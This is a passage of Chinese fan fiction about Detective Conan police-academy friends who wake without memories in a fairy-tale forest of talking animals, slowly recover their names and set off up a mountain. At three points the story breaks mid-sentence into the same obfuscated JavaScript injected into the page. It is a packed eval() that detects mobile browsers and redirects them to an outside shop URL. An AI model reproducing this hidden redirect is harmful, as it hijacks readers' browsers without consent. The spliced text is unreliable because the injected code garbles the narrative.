阳光透过森林洒下,被迭起翻涌的水流几经折射,明亮又有些刺目的浪花涌入了他的眼底。 卷发青年闭了闭眼。 在这一瞬间,他眼前的浪花不再是河水清澈透明的颜色,它们仿佛变成了明亮又炙热的火焰,朝他眼中汹涌而来。 这火焰涌入他的眼中,带来一阵阵刺痛,又缠绕包围他的身体,似乎将要烧灼侵蚀他的一切。 车辆坠落河中的声音也在他耳边一声声回响、放大…… “轰——” “小阵平?!” 松田阵平倏地睁开眼,出现在他眼前的是一张熟悉的面容,半长发青年绛紫色的下垂眼难掩担忧地看着他。 青年伸出手紧紧握住了他的手,把他从河底带往河面。 松田阵平凝视着他。 在看清眼前人的时候,松田阵平才看清,包围他的并不是火焰,只是一些温和无害的水流。 手腕处被人握紧的感觉沉重又真实。 之前在他眼前闪过的火焰仿佛只是光影带来的错觉,他感觉到的疼痛,也只是河水流过眼膜时的刺痛。 “……” 松田阵平张了张嘴,无声的水浪从他唇边轻轻散开。 “hagi。” - “哗啦——” 萩原研二拉着差点沉底的松田阵平一口气浮出了河面,把人带到河边后,等在旁边的降谷零和诸伏景光把他们两个人从河里拉了出来。 “你不是说你会游泳吗?” 降谷零拧着自己身上的水,瞥了眼同样浑身湿漉漉、靠坐在一块石头上,不知道在想什么的卷发青年。 刚才游到一半的时候发现卷发青年没有跟着他们,回头一看才发现这家伙不知道为什么竟然直直地往河底沉下去了。 他捧着的蘑菇盆因为河水的浮力都渐渐浮了起来,就他自己不知道为什么,一直往下坠。 蘑菇:“咕噜噜……好撑……要喝饱了……咕噜噜……” 诸伏景光把飘在河里的蘑菇盆捞到怀中,与此同时,最先注意到卷发青年异常的半长发青年已经折返了回去,把对方拉了上来。 “呼——” 半长发青年甩了甩头发上的水珠,转头看向身边人,青年原本蓬松翘起的卷发被河水浸湿,如今温顺地贴在他的耳边,让他看起来少了很多冷酷,显得有一些乖巧(?)了起来。 对他的狗狗式甩水都没有了反应…… “没事吧?” 萩原研二把手搭在卷发青年肩膀上,张口欲言之时,想起刚才在河里脱口而出的那个称呼,微微一顿。 “……小阵平?” 萩原研二又试探性地叫了一声,他觉得这应该就是卷发青年的名字。 见松田阵平转头看向自己,没有否认这个称呼后,萩原研二又自然地叫了一声。 “小阵平,你刚才是不是在河里叫我的名字了?” 虽然松田阵平的声音很低,几乎在刚出口时就被水流的声音掩盖了过去,但当时萩原研二一直在回头观察着他的状态,所以他没有错过青年那像是呼唤他的嘴型。 萩原研二:所以他的名字是什么?呜哇,竟然是小阵平先想起他自己的名字吗?! 他们的关系一定很好哎! 萩原研二期待地看着松田阵平,他那亮晶晶的绛紫色眼眸透着鲜明的情绪,好像在说:快点,就在这里大声叫出他的名字吧! 松田阵平:“……” 他看了眼抱臂站在旁边的降谷零和抱着蘑菇盆的诸伏景光,两个人身后的树干上,一只乌鸦正在优雅地搭理自己的羽毛。 三人一鸟一蘑菇整齐地看着他。 松田阵平抬起一只手抓了抓湿漉漉的头发,另一只手推开了萩原研二凑过来的脸,从地上站了起来。 “那只蜘蛛呢?” 话题非常生硬地转移到了蜘蛛的身上,降谷零顿时露出一个半月眼。 到底想起来没有?一副想说又不想说的样子。 萩原研二眨了眨眼。 “没有追过来。” 他顺着松田阵平的话答道,并没有继续追问下去,而是笑吟吟地说:“折腾了这么一番,时间也不早了,伊达和娜塔莉小姐还在等我们,我们先回去吧?” 诸伏景光看了看松田阵平脸上的表情,他笑了一下,也顺着萩原研二的话道:“确实,时间不早了,我们先回去吧。不过,这辆车……” 诸伏景光转头看向浮在河面上的马自达。 - “发动机坏了。” 四个人把泡水的马自达从河里捞了起来,松田阵平检查了一下,要说修也能修,但问题不在于技术,而是没有相应的工具。 维森:“发动机?我好像没有捡到你说的这个东西。” “哎——看来我们不能开着马自达上山了。” 萩原研二遗憾地说。 诸伏景光:“这辆车只有四个位置,上山的话,本来也用不上。” 萩原研二:“可以把大家变得更小一点啊!驾驶位坐一个人,其他位置坐两个人……” 萩原研二兴致勃勃地说,他们四个人抱着蘑菇盆跟在维森身后,在小乌鸦的指引下往回去的方向走着。 蘑菇:“那我要和小阵平坐在一起!” 听到蘑菇对松田阵平的称呼,萩原研二顿了顿。 降谷零面无表情地说:“不行。” 因为维森说他们要上山必须要变小,降谷零才勉强接受了他们现在的大小。 现在这个大小,一只蜘蛛都能追的他们驱车逃亡,再变小一点,这个世界的任何生物都可以威胁到他们的生命安全了。 而且大小不一样也太不方便了,除非是其他人变小,他来开车。 松田阵平想起了刚才误触变小药水的经历,冷漠道:“你想都别想,大家就保持同一个大小。” 好奇心旺盛的蘑菇嘟囔着加入了话题:“我也要变得和你们一样大!” 松田阵平抬起蘑菇盆,毫不客气地说:“那这样就没有人能抱着你走了。” 蘑菇:“对哦!我要小阵平抱着我走!” “不要这样叫我。” 和微妙不语的萩原研二不同,松田阵平直接阻止了蘑菇继续再这样叫下去。 他戳了戳盆子里的蘑菇:“我哪里小了?嗯?” 蘑菇恍然大悟,立刻说:“大阵平!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979403|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松田阵平脚步顿时一个踉跄:“……” 是这样改称呼的吗?大阵平是什么鬼啊?! “噗。” 走在前面的降谷零毫不客气地笑了出来,诸伏景光握拳抵在唇边,脸上也难掩笑意。 萩原研二眨了眨眼,看着松田阵平被蘑菇天真的话语哽住的表情,弯起了眉眼。 因为没有记忆,不清楚彼此的关系、无法准确把握合适的社交距离,就算心里有再多思绪,萩原研二也按捺了下来,难得保持了沉默。 但……松田阵平的态度,却给了他足够的支持和肯定。 萩原研二凑过去,在松田阵平耳边小声说:“小阵平。” 正在纠正蘑菇叫法的松田阵平转头瞥了他一眼,用眼神询问:干嘛? 萩原研二眨了眨眼。 或许他是一个有些贪心的家伙,得到了肯定后还想要更多,不过谁叫小阵平对他的态度真的很纵容呢!而且他真的很想知道自己的名字,也很想听见小阵平叫他的名字。 “小阵平一定记起来了吧?我的名字。” 松田阵平抬眼看了眼前方,降谷零和诸伏景光走在他们前面,两个人靠在一起,正在讨论着各种浆果的味道。 虽然如此,他怀里还有一个好奇心旺盛的蘑菇。 “真是的……” “我的名字有那么难叫吗?我要伤心了哦,小阵平——” 萩原研二拉长了尾音,假装难过地说。 其实他知道松田阵平不愿意直接叫他名字的原因,不过看着帅气成熟的卷发青年因此露出些不太成熟的别扭,萩原研二心里总会产生一些他说不清的情绪。 就好像……这个不太成熟的青年,才是他记忆中的他。 “小阵平——” “别叫了。” 松田阵平没好气地说,他好不容易才说服了蘑菇,现在这小家伙又因为萩原研二叫他再次好奇了起来。 蘑菇:“为什么他可以叫你小阵平?” 萩原研二弯腰看着蘑菇,笑吟吟地说:“因为这是我对小阵平的专属称呼哦~小蘑菇。” “专属称呼?” 蘑菇陷入了思考,松田阵平皱了皱眉,脸上的表情十分嫌弃。 专属称呼又是什么鬼东西? “专属称呼就是……” 萩原研二抬起手放在松田阵平的肩膀上。 “只有我会这么叫的名字。” “对吧?小阵平~” 只有他会这么叫他。 萩原研二说着,侧头去看松田阵平,但对方的反应却并不如他预想的那样。 萩原研二微微怔了一下。 “你说得对。” 松田阵平也侧过头,望向了他。 两人靠得极近,对视间就能直接撞入对方眼底,将那些真实起伏的情绪看的清清楚楚。 “hagi。” 松田阵平叫他,那双明亮的靛青色眼眸里,有情绪如晦暗汹涌的海浪在翻腾,似乎下一秒就要扑倒吞没眼前之人。 萩原研二看不太明白、却又好像看明白了。 那并不是想要揍他的生气和怒意,而是…… “小阵平,你在难过吗?” 意识到这一点的时候,萩原研二落在松田阵平肩上的手无声地攥紧了几分。 16.Chapter16 降谷零捧起一颗棕黄色的浆果咬了一口,他垂眸仔细感受了一下口腔里的味道,点了点头。 “是酱油啊。” 这个世界很神奇,动物会说话,作为食物来源的浆果又在森林里随处可见,多到完全不用担心如何饱腹,而且各种各样味道各异的浆果又足以弥补食物来源单一的问题。 甚至还有长着面包的树。 如果有机会,可以去看一眼。 降谷零想着,侧过头去看走在身边的诸伏景光,发现他正在转头看着走在他们身后的那两个人。 降谷零也回头看去,那两个人靠的很近,虽然看不太清他们的表情,但从他们周身散发出的气息来看,似乎并不是他想象的那样和谐。 诸伏景光低声说:“似乎是他们之间发生了什么事……不过没有记忆,就算想起了名字,还是会很困扰吧。” 诸伏景光转头看向降谷零。 第一次见面时,他看见金发青年在他头顶露出怔愣的表情时,诸伏景光曾顺应内心说出了“对不起”。 可他现在也不知道他为什么要那样说。 没有记忆,灵魂深处的情绪不受控制的在遇见彼此时起伏不休,但他们却无法知道,那情绪代表着什么。 他们的抱歉是因为什么、他们的遗憾是因为什么。 “感觉……之前是不是对zero做了一件很抱歉的事啊……” 诸伏景光的话音刚落,降谷零就摇了摇头,他认真地说:“我不觉得hiro有做过这种事。” “所以hiro不用对我说抱歉。” 降谷零也没有记忆,但他潜意识里充满了对诸伏景光的熟稔和信任,很多时候,当他因为某些不知名的情绪焦虑起来时,只要转头看见和他站在一起的猫眼青年,他就会平静下来。 只要他还在。 只要hiro还在就好了。 降谷零抿了抿唇,他深深地凝视着诸伏景光的面容,并没有把这句话说出来。 就算没有记忆,但降谷零并不愚笨,他为什么会有这种心情,为什么会在看见诸伏景光时感到庆幸,他早已有了猜测。 虽然不知道事情为什么会变成现在这样……降谷零垂了垂眸,他不想自己的想法被诸伏景光看出来,索性也转移了话题。 “hiro看过那个册子了吗?” 诸伏景光瞥了一眼远远飞在前面、哼着歌的乌鸦维森,微微点头。 他和降谷零说的,是他们在维森的收藏品中无意间发现的一个小册子。 《童话镇建设入门指南》 【这是一本为新上任的童话镇管理者准备的入门指南,该指南将指导您如何登入专属于您的童话小镇、如何合理建设属于自己的童话小镇、并为您提供完成童话小镇隐藏成就任务的触发途径。】 童话镇……基于此前发现的种种线索,他们对这个世界的猜测本来就在逐渐往童话的方向靠拢着,但降谷零在册子里看见这个名字时,还是感觉到了一丝古怪。 要说童话,这个世界的很多东西确实很像童话,但后面的小镇却不太符合要求。 不过维森说,他的这些东西都是从那座据说有着“真理之钟”的山上捡到的,也许童话镇并不指的是这片森林,而是指的山上? 降谷零和诸伏景光一开始都是这样想的,不过当他们翻到下一页时,就意识到他们猜错了。 【首先,您需要拥有一部手机。】 【输入您的专属id码,就可以解锁童话镇的专属人物档案,成为童话镇的新居民,开启童话镇建设之行。】 【童话镇四面环海,海洋资源丰富,捕鱼售卖是小镇居民的主要收入途径,扩展捕鱼业,帮助居民增加收入、提高生活质量。】 【探索扩展其他经济产业,旅游、文化、电影……建设属于你的美好童话镇!】 【使用童话币,您还可以解锁童话小镇的隐藏剧情,完成委托,获得您的专属成就。】 【在梦境与现实的连接中,创造一个专属于您的过去、现在和未来吧。】 册子的内容一眼看上去,好像只是一个手机游戏的入门教程。 但其中有一些字眼,诸伏景光仍有几分在意。 特别是最后一句话。 “过去、现在、与未来吗……” - “安罗、安瑟!我们回来啦!” 头顶阳光悄悄倾斜落下,安罗和安瑟坐在树荫下打着盹。 在他们不远处,伊达航和娜塔莉坐在另一棵树下,两个人靠坐在一起,看着伊达航手里的记事本。 刚拿到记事本时,伊达航只是大致翻了一下,没有仔细看自己在里面都写了些什么,正好降谷零他们开着车出去兜风了,就着这段时间,他和娜塔莉把记事本从头到尾都仔细看了一遍。 听见维森的声音,伊达航从记事本里抬起头,就看见了四个湿漉漉的人。 娜塔莉疑惑地眨了眨眼,她注意到降谷零四人不仅浑身湿透,而且他们明明是开着车出去的,怎么现在只有人走回来了,车却不见了? 伊达航:“你们这是去河里兜风了吗?” 萩原研二露出一个灿烂的笑容:“伊达君好厉害,猜对了!” 伊达航:“……” 他扶了扶额,不知道为什么也不感觉有多意外,嗯,他好像已经习惯了。 “出了点意外。” 诸伏景光把他们遇到的事简单说了一下,伊达航听见他们把车开到悬空的藤蔓上,又和蜘蛛展开了一场追逐战,表情麻木了一下。 “最后我们只能把车开到河里躲开那只蜘蛛的追杀了~” 萩原研二轻松地耸了耸肩,站在他旁边的松田阵平双手插兜,淡淡地说:“谁叫这家伙把车开到了奇怪的地方去。” “哎——可是这是小维森要求的……” 萩原研二拖长了语调,声音里又带上了一如既往的笑意,绛紫色的眼眸也弯起好看的弧度。 “小维森答应给我们提供上山的车,我当然要全力满足他的心愿啊!” “虽然报废了一辆车……” 维森飞到旁边的一颗树干上站好,闻言大方地一挥自己的翅膀。 “小问题、小问题!山上那些家伙飙完车后也不会把车留下来。” 好多车都直接撞碎成破破烂烂的零件了! 安瑟:“……这么危险的事你上次竟然叫我和安罗来做!” 维森:“咳!总之,不用在意车的问题!” “那真是太感谢你了,小维森~” 萩原研二笑眯眯地说:“所以我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987451|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车技怎么样?有让你享受到吗?” 体验了一把不用自己挥动翅膀也能飞翔的感觉,维森表示很满意,沿途意外发生的追逐战也给他带来了不少体验感。 “你们要上山吧!可以在我的收藏品里再选一辆车当你们的代步工具!” 满意的维森大方地说:“如果还有什么问题,也可以问我!” 降谷零动作一顿,他和诸伏景光对视一眼,抬眸看向维森。 “维森君,不知道你这里有没有手机?” 诸伏景光开口问道。 手机? 维森疑惑地说:“这是什么东西?不过,我好像听过这个名字,我想一想……” 小乌鸦站在树干上想了一会儿,恍然大悟。 “以前好像听女巫那个家伙说起过,那家伙还在森林里的时候,好像说过……‘要休息一会儿,去玩一会儿手机’什么的。” “手机是什么很好玩的东西吗?” 维森歪了歪头。 萩原研二好奇地问:“小维森和那位女巫的关系很好吗?” 这些小动物口中的女巫,是魔法药水的制作者、是被赶上山的捣蛋鬼,但萩原研二能察觉到,他们提起女巫时的语气,并没有多少厌恶或者怨恨,更多的是一些无奈和苦恼。 维森:“一点也不好!她的坏点子很多,她被赶到山上去后,森林里安静多了!幸好我也没有在山上遇见过她。” 上次这个坏女巫竟然趁他不注意往他的午餐里加了她的魔法药水,不仅把他的午餐变得又涩又苦,还让他变成了一颗没有翅膀、只能蹦跳的黑色毛球! 噢,那个体验真的是太糟糕了! 安瑟:“不仅如此,那家伙之前还趁我睡觉的时候把我粘起来了!” 他当时正在河边的草地上盘起来睡午觉,谁知道一觉醒来不仅发现自己的身体被粘起来固定成了一盘“蚊香”,而且还被染成了奇怪的颜色! 安瑟恼羞成怒地说:“可恶的女巫!就喜欢欺负大家!” 安罗拉了拉垂在脑袋上的耳朵。 女巫倒没有对她做过什么恶作剧,就是总是喜欢偷偷出现在她背后抓她的尾巴。 维森苦心叮嘱:“你们去山上的时候一定要小心,她有各种各样的坏点子!” 蘑菇连连点头:“好坏的女巫!” 小动物们历数着女巫在森林里都干过那些事,六个人在旁边听着,若有所思。 什么把动物们用魔法药水变成球、给他们的食物里偷偷加又苦又涩的草药药水、偷偷摸兔子的尾巴…… 伊达航/松田阵平:听起来就很麻烦啊。 萩原研二/娜塔莉:像是个喜欢恶作剧的小孩子呢。 不过。 诸伏景光眨了下眼。 果然,从小动物们的抱怨里能看出来,这个女巫只是很喜欢恶作剧,并没有给森林里的动物们带来过什么实质性的伤害。 所有他们才只是讨厌、并不怨恨女巫。 这样看起来,还真是个和平的世界啊。 降谷零单手叉腰,心里刚升起这个想法,感受到掌心接触的衣服布料传来的湿润感,想起不久前那只追着他们不放的蜘蛛,又叹了口气。 虽然是他们有错在先,不过,还是不能掉以轻心啊。 17.Chapter17 “一直这样湿着会感冒吧?” 娜塔莉早就注意到了还湿漉漉的四个人,她神色关切地看着降谷零他们。 六人刚醒来的时候虽然也在河里,不过那时他们只有下半身湿了,而且正午的太阳足够温暖,拧干裤子上的大部分水分后晒晒倒也不至于太难受。 但这四个人刚才又去河里游了一圈,如今全身上下都湿透了,此时天色渐渐暗了下来,要是一直这样湿着的话,就算几个青年的身体再好也很有可能会感冒。 虽然条件有限,但最好还是生个火把衣服尽量烘干。 于是,在维森的大方帮助下,虽然没有在小乌鸦的收藏品里找到打火机等生火装置,但松田阵平似乎对机械装置颇为了解精通,他直接打开了一辆汽车的前引擎盖,捣鼓一番后,从里面引出了两根电线,利用电线接触时产生的火花引燃了萩原研二他们捡来的枯叶和木柴,轻松升起了一个火堆。 “我回来了。” 考虑到这是在森林里,为了防止意外发生,伊达航还用维森收藏的小木桶打了两桶水回来,放在了火堆旁。 六个人围着火堆坐了一圈,萩原研二把蘑菇盆抱在怀里,盆子里的小蘑菇看着被石子堆砌包围的小火堆,发出了惊奇的声音:“好温暖、好亮啊!这就是火吗?” 安瑟盘在安罗的身上,用尾巴好奇地接住了一颗从火堆里蹦出来的小火花,微亮的火花接触蛇尾时会带来一瞬间的暖意,然后很快就消失不见。 维森远远地站在树上,对草地中心的那团火退避三舍,和安罗安瑟、以及懵懵懂懂对一切都好奇的蘑菇不同,火焰是就算喜欢刺激的小乌鸦也不会去接触的东西。 他美丽的羽毛会被烤焦的! “呼。” 坐在火边烤了一会儿后,几个人身上湿漉漉不舒服的感觉总算好了很多。 萩原研二长出了一口气,侧头对松田阵平露出一个笑。 “小阵平好厉害~竟然还能这样生火。” 松田阵平眼也不抬,淡定地接受了萩原研二的称赞。 不过就在这时,听到了萩原研二对松田阵平的称呼的伊达航抬起了头。 “阵平?” 伊达航看向松田阵平,娜塔莉也不由转头看了过去。 娜塔莉迟疑地说:“航……伊达君的记事本里,好像出现过这个名字。” 闻言,所有人的视线都看向了伊达航。 松田阵平不怎么意外地哦了一声:“所以我们应该认识吧?伊达知道我完整的名字吗?” 伊达航点了点头。 “我的记事本里,有四个和我一起同期毕业的警校生。” 降谷零耳尖微微一动,他看了眼在座的其他人。 伊达航接着说:“其中两个人我不知道名字,不过有两个毕业后一直有联系……” 伊达航说到这里顿了顿,表情纠结了一瞬。 根据记事本里透露出来的信息,他们同期毕业的五个人里,他那位名叫“萩原研二”的同期似乎在毕业不久后就因公殉职了,而且,另外一个叫松田阵平的同期,在四年后也…… 伊达航看向松田阵平,他的余光同时扫过其他三人。 从记事本里他知道娜塔莉并不是警校生,再加上他潜意识里对这四人非常熟稔。 很大概率,记事本里和他一起从警校毕业的其他四人,就是他面前的这四个。 但,两人行踪不明、两人已殉职。 那么,如果记事本里的“松田阵平”就是他眼前这个被半长发青年叫做“小阵平”的人的话…… 找回了一点记忆的伊达航有种不详的猜测。 他们这些人不会都已经死了吧? - “一直和我有联系的两个人,一个叫萩原研二,另一个叫松田阵平。” 伊达航定了定神,看见大家身边的动物们时,他没有把自己的猜测说出来。 不过,在座的其他人都看见了他脸上复杂的表情,也意识到了隐情的存在。 降谷零眯了眯眼。 他很认同伊达航的做法,不过看来他们还是得尽快上路,暂时离开这个世界的动物们,再把他们各自知道的情报对一遍。 萩原研二弯了弯眉眼。 “原来我叫萩原研二。” Hagiwara……小阵平刚才叫他叫的是“hagi”,果然是专属称呼呢! “松田、萩原……” 诸伏景光找到了一个他印象里最熟悉的称呼,摸了摸下巴,说:“是很熟悉的名字。” 萩原研二笑道:“所以我们是一起毕业的同期警校生呢!” 等等,警校生。 也就是说……降谷零看向松田阵平。 松田阵平回以莫名其妙的视线:“干嘛?” 降谷零:“你原来是警察啊。” 松田阵平:。 什么意思你小子? 我怎么就不能是警察了? “不怪我。” 降谷零无辜地说:“谁叫有人一开始就说你打扮得像极道大佬。” 不是他说的,他就是复述了一遍而已。 萩原研二眨了眨眼,立刻抱着蘑菇盆默默地往松田阵平远处挪了几下屁股。 松田阵平冷笑了一声。 伊达航瞅着这一幕,不知怎么的,也“小声”地补充了一句:“对了,我的记事本上写了,萩原研二和松田阵平是从小一起长大的幼驯染。” 萩原研二:! 松田阵平学着他拖长了语调:“哦——是幼、驯、染啊。” 是幼驯染你还说我是极道分子! 这么不了解你的幼驯染吗? 萩原研二:…… 在松田阵平暗含凶光的视线下,抱着蘑菇盆的半长发青年往旁边一退再退,缩成了一只大型蘑菇。 诸伏景光想了想,他说:“萩原应该只是在开玩笑,并不是真的那样想的。” 萩原研二顿时对诸伏景光投去了感激的眼神。 除了小hiro,这些家伙全都是不坏好心的损友!损友! 诸伏景光笑笑,不紧不慢地说:“毕竟如果我也有幼驯染的话,是绝对不会误会他的。” 降谷零眨眨眼,虽然还不知道他和hiro是不是幼驯染……不过他觉得hiro就是在说他们。 这样想着,金发青年唇角就不自觉上扬了几分。 萩原研二:……我看错你了,hiro酱。 你原来不是雪中送炭、是想要火上浇油! 你们全都是不怀好意的坏蛋! “噗。” 娜塔莉捧着脸坐在伊达航身边,看着他们你一句我一句的开着玩笑,虽然有些人单独看上去会觉得有些冷漠又不好相处,但他们在一起的时候,那种感觉就如同火焰中的冰雪般消融了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998157|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而且,看过了记事本的娜塔莉知道,他们都是很好的人啊。 如果记事本的内容是真的的话,萩原君和松田君…… 娜塔莉轻轻叹了口气,伊达航低头看向了她。 “怎么了?” 娜塔莉摇摇头。 “我只是想起来,伊达君的记事本上写过,你一直很遗憾没能让我和你的朋友们见面……” 娜塔莉轻轻地说:“和你说的一样,他们都是很好的人。” 虽然并不知道他们为什么会以这种姿态出现在这里,但现在也算是弥补了又一个遗憾。 伊达航沉默了一会儿,才应了一声。 “别担心。” 娜塔莉看向他,笑着说:“我记得有一句话,说船到桥头自然直,大家一起努力,一定会想到办法的。” “娜塔莉小姐说的没错!” 萩原研二眼疾手快地把蘑菇盆塞到了松田阵平的怀里。 小阵平,双手抱着蘑菇盆就不能再揍人了哦~ 他笑吟吟地顺着娜塔莉的话转移了话题:“衣服差不多也干了,我们还是速战速决,今天就出发去山上吧!” “找到真理之钟,应该就能知道我们为什么失忆、以及回家的办法了吧?” 萩原研二看向维森。 维森:“没错!真理之钟什么都知道!你们在山上找到它后,有不懂的都可以去问。” “OK。” 萩原研二打了个轻快的响指。 “那我们现在就出发吧!” 萩原研二刚语调轻快地说完,举起的手就恹恹地垂了下去,捂住了自己的腹部。 “嗯……不过在出发之前,我们要不要先找点东西来吃?” 折腾了一中午,又是飙车又是跳河又是游泳救人的,也早该饿了。 松田阵平一手抱着蘑菇盆,一手捡起一根树枝戳着火堆。 他无聊地用沾了火星的树枝在空中画着无意义的图案,一边懒洋洋地说:“这里只有浆果。” 虽然还有长着面包的面包树,不过距离太远了,没必要为此来回折腾。 “我去摘一些浆果回来吧。” 诸伏景光说着,撑着膝盖从火堆旁站了起来。 “hiro,我和你一起。” 降谷零也站了起来,他和诸伏景光试了不少浆果的味道,已经能用颜色各异的浆果组成无限接近他们世界美食的味道了。 “正好有火,可以烤着吃……” 降谷零瞥见了放在旁边的两桶水,灵光一闪。 “也可以做成浆果汤来喝?” 用味道丰富的浆果煮出一锅热气腾腾的汤,如果再加上一些其他的食材,一定能做出一顿非常美味的料理。 不过,说起森林里现成的食材…… 一瞬间,降谷零脑海里就下意识地划过了各种可食用的野菜以及野生蘑菇,不过立刻就被他挥去了。 降谷零:咳。 这个世界的动物和蘑菇都会说话,就算给降谷零吃他也吃不下去。 而且,谁知道还有没有会说话的植物。 降谷零:以免出现意外,离开这个世界之前,还是别乱采摘其他东西为好。 他可不想做饭的时候抓一把菜然后发现手里的菜正在尖叫着让他放过自己…… 降谷零摸了摸鼻子,强行挥散了脑海里产生的那不忍直视的画面。 18.Chapter18 接下来,六个人和小动物们一起,吃了一顿丰富美味的浆果大餐。 诸伏景光和降谷零避开了那些味道奇怪的浆果,将可以吃的浆果装了满满一筐,一部分穿在树枝上用来烤着吃,另一部分放入水中,煮成了一锅热乎乎的浆果浓汤。 “呼。” 娜塔莉端着碗抵到唇边,一边吹着一边抿了一口,眼神顿时一亮。 好神奇,竟然是番茄牛腩浓汤的味道。 “小阵平~大家~” 萩原研二开着一辆房车停在了火堆不远处,他从半开的车窗里探出半个身体,对坐在火堆旁的其他人招了招手。 “我们开这辆车上山吧?” 几人闻声看去,娜塔莉微微讶异了一下,一是没想到维森的收藏品里竟然还有房车,二来也有些意外,她以为青年会再次选择一辆跑车。 松田阵平站起来走了过去。 “竟然还有房车。” 他拉开房车的车门,往里面看去,床铺、洗漱间、厨房、冰箱……一般房车里有的东西这辆车里也一应俱全,比起跑车,这辆车显然更适合他们开去山上。 “你之前不是说要开马自达上山?” 松田阵平一边打量着,一边随口说。 “对呀!不过嘛……” 萩原研二把腰卡在车窗上,半个身体悬空垂在外面,侧头看着站在旁边的松田阵平。 根据维森所说,他们短时间内要在山上找到真理之钟肯定不太可能,开跑车去山上的话,吃穿住行都是一个问题。 萩原研二:而且还有伊达君的女朋友在呢!可不能让女孩子和他们这几个大男人挤在一辆狭窄的跑车里。 这样想着,萩原研二眨了眨眼,他举起双手捂着胸口,假装难过地说:“但我亲爱的马自达已经光荣牺牲了,没办法再陪伴我们接下来的路程……可怜的马自达酱!” 不远处,伊达航眼皮狠狠一跳。 虽然知道萩原研二没有记忆,对方说的这句话并不是他想的那个意思,但伊达航还是联想到了一些糟糕的东西。 松田(mastuda)阵平:。 很难不怀疑你是故意的。 卷发青年转头,靛青色的眼眸锐利地看向那个垂在车窗外的脑袋,下一秒,他动作迅速地伸出手,一只手环住萩原研二的脖颈,另一只手捏起拳头,抵在了这家伙的头顶。 萩原研二:?! 松田阵平呵呵冷笑一声。 自投罗网。 “哎、哎——小阵平我错了!快放过我啦!” 松田阵平无视了对方的求饶和挣扎,他的拳头在青年的头顶拧来拧去,直到青年柔顺的半长发乱糟糟地变成了一团鸟窝后,才放过了这个总喜欢挑衅他的家伙。 被放开的一瞬间,萩原研二就立刻缩回了驾驶座,晕乎乎的他缓了好一会儿,才扒拉着车窗窗沿,露出半个脑袋,盯着松田阵平的眼神里充满控诉。 松田阵平理都不理这家伙,把房车里面简单看一遍后就走了出来,他侧身给同样走来的降谷零四人让开位置,然后走到副驾驶门边拉开了车门。 “既然车选好了,饭也吃了,那就趁早上路吧。” 松田阵平在副驾驶的座位上坐了下来,他觉得他们应该尽快启程了。 不过说到启程,刚坐下来的松田阵平想起那朵好奇心旺盛,之前还对旅程表现出期待的蘑菇,他转头看了眼趴在方向盘上的萩原研二。 萩原研二怀里空荡荡的,他侧头对松田阵平示意了一下不远处的火堆。 “和安罗安瑟在一起呢。” - 松田阵平走过去的时候,栽在蘑菇盆里的蘑菇正在稀奇地向安罗安瑟询问着森林里以前发生的趣事。 看见走过来的松田阵平,小蘑菇立刻摇晃起了身体,对他打招呼。 “大个子,你们要出发了吗?” 松田阵平鼻尖动了动,他看了眼放在火堆边的蘑菇盆。 不知道为什么,总感觉闻到了一股烤蘑菇的味道……这家伙,离火堆是不是有点太近了? “啊,你不是说要和我们一起?” 松田阵平弯腰,准备抱起蘑菇盆。 “不啦。” 松田阵平的动作一顿。 蘑菇拒绝了他,说:“我想了想,我还是不去山上了!我要留在森林里,和安罗安瑟当邻居。” 虽然它是从山上飘下来的蘑菇,但它落地、生根、苏醒的地方是在这片森林,这里才是它的家。 而且、而且…… 盆子里的小蘑菇纠结地扭来扭去,差点把自己在松田阵平眼神下扭成一团麻花,但最终还是什么也没说出来。 蘑菇:“你们一定也很想快点回家吧!那我们就在这里分别好了。” “今天的经历对我来说已经足够有趣、足够满足啦!” 松田阵平沉默了片刻,他把蘑菇盆往火堆远处挪了一段距离,缓缓说:“所以,你不想和我们一起上山,对吗?” “……” 麻花蘑菇又把自己扭了一圈,没有说话。 松田阵平垂下眼眸看着盆里的蘑菇,就算从一朵小蘑菇身上看不出任何表情,这朵蘑菇的想法和心情已经完全被它的动作暴露出来了。 但…… “算了。” 松田阵平看了一会儿,收回了搭在盆沿边的手。 无声的气息从他轻抿的唇间溢出。 蘑菇:“大个子?” “没什么。” 松田阵平微微摇头,他的语气平静一如往常。 “你不去就算了,和安罗安瑟一起生活在森林里也好。” 松田阵平弯腰抱起地上的盆子。 安罗伸出手,抱住了青年递过来的蘑菇盆,她抬起红宝石一般的眼睛,盯着面前的青年。 青年蹲在他们面前,蓬松柔软的黑发之下,那双靛青色的眼眸平静地朝他们看来。 那里面没有意外、没有生气、也没有难过。 松田阵平伸出手。 “很感谢你们帮助我们寻找回家的办法。” “我们就在这里道别吧。” - 不远处,房车内。 